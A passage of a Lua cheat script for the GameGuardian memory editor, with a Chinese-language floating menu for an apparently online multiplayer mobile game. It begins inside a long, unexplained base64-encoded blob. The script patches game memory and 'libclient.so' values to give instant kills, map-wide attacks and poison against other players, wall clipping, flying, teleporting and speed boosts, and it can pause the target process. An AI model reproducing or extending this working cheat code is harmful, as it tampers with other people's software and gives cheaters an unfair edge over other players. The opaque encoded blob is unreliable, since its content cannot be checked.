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") end), changan.button("🔄切换32位模式🔄", function() fw1=false gg.diyToast("5秒后开始强制启动") gg.sleep(500) gg.alert("启动成功,可能卡顿") end), changan.button("🔄切换64位模式🔄", function() fw1=false gg.diyToast("5秒后开始强制启动") gg.sleep(500) gg.alert("启动失败,可能RLGG不适应") end), changan.switch("提示方式切换", function() -- 切换到 gg.toast 切换提示方式(true) 语音播报('已切换为gg.toast提示方式') 提示("已切换为gg.toast提示方式") end, function() -- 切换到 gg.diyToast 切换提示方式(false) 语音播报('已切换为gg.diyToast提示方式') 提示("已切换为gg.diyToast提示方式") end ), changan.button( "免费加密", function() 加密() end), changan.switch("压缩文件", function() Path = gg.prompt({"恋少:选择要压缩的脚本"}, {gg.getFile()}, {"file"}) if Path == nil then return end A = io.open(Path[1], "r"):read("*a") io.open(Path[1] .. "[压缩].lua", "w"):write((string.gsub(string.gsub(string.gsub(string.gsub(string.gsub(string.gsub(string.gsub(string.gsub(string.gsub(string.gsub(A,"\n"," "), " ", " "), " ", " "), " ", " "), " ", " "), " ", " "), " ", " "), " ", " "), " ", " "), " ", " "))):close() gg.alert("恋少:压缩成功") end, function() end ), changan.switch("暂停所选进程", function() gg.processPause() 语音播报('暂停成功') 提示("暂停成功") end, function() gg.processResume() 语音播报('恢复成功') 提示("恢复成功") end ), }), changan.switch( '水印', function() draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(40) draw.text('花L絮※恋少', 250,250) draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(40) draw.text('官方群[162982368]', 250,300) draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(40) draw.text('[后期PS制作]', 250,350) end, function() drw() sleep(120) hzrs =false draw.remove() end), changan.switch( '缩小悬浮窗', function() smalltype=1 end, function() smalltype=0 end), changan.switch( "音量键隐藏UI",--默认开启,改名就是默认关闭 function() 音量键=true end, function() 音量键=false end ), changan.switch( "摇一摇隐藏UI",--默认开启,改名就是默认关闭 function() 摇一摇=true end, function() 摇一摇=false end ), changan.box({ "内存设置", changan.radio({"内存设置", {"Ca内存", function() neicun = 4 gg.toast("内存已设为Ca") end },{ "A内存", function() neicun = 32 gg.toast("内存已设为A") end },{ "O内存", function() neicun =-2080896 gg.toast("内存已设为O") end }, }), }), changan.button( "终止脚本", function() window:removeView(floatWindow) luajava.setFloatingWindowHide(false) --gg.exit() bloc("end") end), changan.button( "退出", function() tuichu=1 end), },{ changan.switch( '秒杀', function() newfloat("秒杀",function() search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) end, function() fw1=false fw1=false end) end, function() rmvfloat("秒杀")--关闭 end), changan.switch( '刀入', function() newfloat("全图刀人",function() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55, 11, 100, true) end, function() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55, 11, 100, false) end) end, function() rmvfloat("全图刀人")--关闭 end), changan.switch( '毒入', function() newfloat("全图毒人",function() drw() search(17039364,4,4)py1(16777215,4,-40)py1(257,4,-36)xg1(1,16,96,false) XGBase( {gg.getRangesList('libclient.so')[1].start}, { {1.3229032e-22,16,0xB25DC8}, }) end, function() drw() search(17039364,4,4)py1(16777215,4,-40)py1(257,4,-36)xg1(-9.99999968e37,16,96,true) XGBase( {gg.getRangesList('libclient.so')[1].start}, { {99,16,0xB25DC8}, }) end) end, function() rmvfloat("全图毒人")--关闭 end), changan.switch( '离入', function() newfloat("全图离人",function() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-10,4,92,true) xg1(-10,4,84,true) end, function() drw() fw1 = false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-10,4,92,false) xg1(-10,4,84,false) end) end, function() rmvfloat("全图离人")--关闭 end), changan.switch( '隐刀', function() newfloat("隐身刀人",function() drw() search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,true) xg1(-114514,4,84,true) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,100,true) end, function() drw() search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,false) xg1(-114514,4,84,false) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-55,4,100,false) end) end, function() rmvfloat("隐身刀人")--关闭 end), changan.switch( '死毒', function() newfloat("死亡毒人",function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(10, 16, 96, false) search(17039364,4,4) py1(16777215, 4, -40) py1(257, 4, -36) xg1(-9999999, 16, 76, true) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("-999", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("1", gg.TYPE_FLOAT) search(17039364, 4, 4) py1(16777215, 4, -40) py1(257, 4, -36) xg1(1, 16, 96, false) end) end, function() rmvfloat("死亡毒人")--关闭 end), changan.switch( '吸人', function() newfloat("全图吸人",function() search(17039361,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(100,16,168,true) xg1(100,16,172,true) xg1(100,16,164,true) end, function() search(17039364, 4, 4) py1(16777215, 4, -36) py1(257, 4, -32) xg1(100,16,-4,true) xg1(100,16,-8,true) xg1(100,16,-12,true) end) end, function() rmvfloat("全图吸人")--关闭 end), changan.switch( '风加', function() newfloat("风声加速",function() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber('0.5;0.95',gg.TYPE_DOUBLE,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('',gg.TYPE_DOUBLE,false,gg.SIGN_EQUAL,0, -1) gg.getResults(50) gg.editAll('9',gg.TYPE_DOUBLE) end, function() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber('0.5;0.95',gg.TYPE_DOUBLE,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('',gg.TYPE_DOUBLE,false,gg.SIGN_EQUAL,0, -1) gg.getResults(50) gg.editAll('0.5',gg.TYPE_DOUBLE) end) end, function() rmvfloat("风声加速")--关闭 end), changan.switch( '丝滑', function() newfloat("丝滑加速",function() search(17039364,4,neicun) py1(16777215, 4, -36) py1(257, 4, -32) xg1(-0.50,16,76,true) end, function() search(17039364,4,neicun) py1(16777215, 4, -36) py1(257, 4, -32) xg1(-0.35,16,76,false) end) end, function() rmvfloat("丝滑加速")--关闭 end), changan.switch( '推加', function() newfloat("大力神加速",function() search(5381523328,32,4,false) xg1(2.5,16,64,false) end, function() search(5381523328,32,4,false) xg1(2,16,64,false) end) end, function() rmvfloat("大力神加速")--关闭 end), changan.switch( '删贴', function() newfloat("删贴图",function() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber('0.5;0.95',gg.TYPE_DOUBLE,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('',gg.TYPE_DOUBLE,false,gg.SIGN_EQUAL,0, -1) gg.getResults(50) gg.editAll('0.5',gg.TYPE_DOUBLE)drw() end, function() end) end, function() rmvfloat("删贴图")--关闭 end), changan.switch( '穿墙', function() newfloat("穿墙",function() search(4.3572124460608017E27, 16, 16384) xg1(-1, 16, 4, false) end, function() search(4.3572124460608017E27, 16, 16384) xg1(14428.5986328125, 16, 4, 16, 4, false) end) end, function() rmvfloat("穿墙")--关闭 end), changan.switch( '灵体', function() newfloat("飞天灵体",function() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(3.12e38,16,-8,true) -- x坐标 xg1(3.12e38,16,-4,true) -- y坐标 xg1(3.12e38,16,-12,true)-- z坐标 gg.sleep(700) gg.clearResults() gg.setRanges(16) gg.searchNumber("30", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll("50.114514", gg.TYPE_FLOAT) gg.clearResults() gg.setRanges(gg.REGION_CODE_APP) gg.searchNumber('500',gg.TYPE_FLOAT,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('',gg.TYPE_FLOAT,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('-999',gg.TYPE_FLOAT) gg.clearResults() gg.sleep(4700) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(5790,16,-8,false) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(200,16,-8,true)--y xg1(-401.941,16,-4,true)--z xg1(-1599,16,-12,true)--x gg.sleep(500) xg1(200,16,-8,false)--y xg1(-401.941,16,-4,false)--z xg1(-1599,16,-12,false)--x search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(200,16,-8,true)--y xg1(-401.941,16,-4,true)--z xg1(-1599,16,-12,true)--x gg.sleep(500) xg1(200,16,-8,false)--y xg1(-401.941,16,-4,false)--z xg1(-1599,16,-12,false)--x end, function() gg.clearResults() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(5790,16,-8,false) gg.clearResults() gg.setRanges(16) gg.searchNumber("50.114514", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll("30", gg.TYPE_FLOAT) gg.getResults(100) gg.editAll('500',gg.TYPE_FLOAT) end) end, function() rmvfloat("飞天灵体")--关闭 end), changan.switch( "z+", function() newfloat("z+",上,关) end, function() rmvfloat("z+") end), changan.switch( "z-", function() newfloat("z-",下,关) end, function() rmvfloat("z-") end), changan.switch( "y+", function() newfloat("y+",左,关) end, function() rmvfloat("y+") end), changan.switch( "y-", function() newfloat("y-",右,关) end, function() rmvfloat("y-") end), changan.switch( "x+", function() newfloat("x+",前,关) end, function() rmvfloat("x+") end), changan.switch( "x-", function() newfloat("x-",后,关) end, function() rmvfloat("x-") end), changan.switch( "坐标控制台", function() newfloat("上",上,关) newfloat("下",下,关) newfloat("右",右,关) newfloat("前",左,关) newfloat("左",前,关) newfloat("后",后,关) newfloat("刹车",刹车,关) end, function() rmvfloat("上") gg.sleep(10) rmvfloat("下") gg.sleep(10) rmvfloat("右") gg.sleep(10) rmvfloat("左") gg.sleep(10) rmvfloat("前") gg.sleep(10) rmvfloat("后") gg.sleep(10) rmvfloat("刹车") end), }, })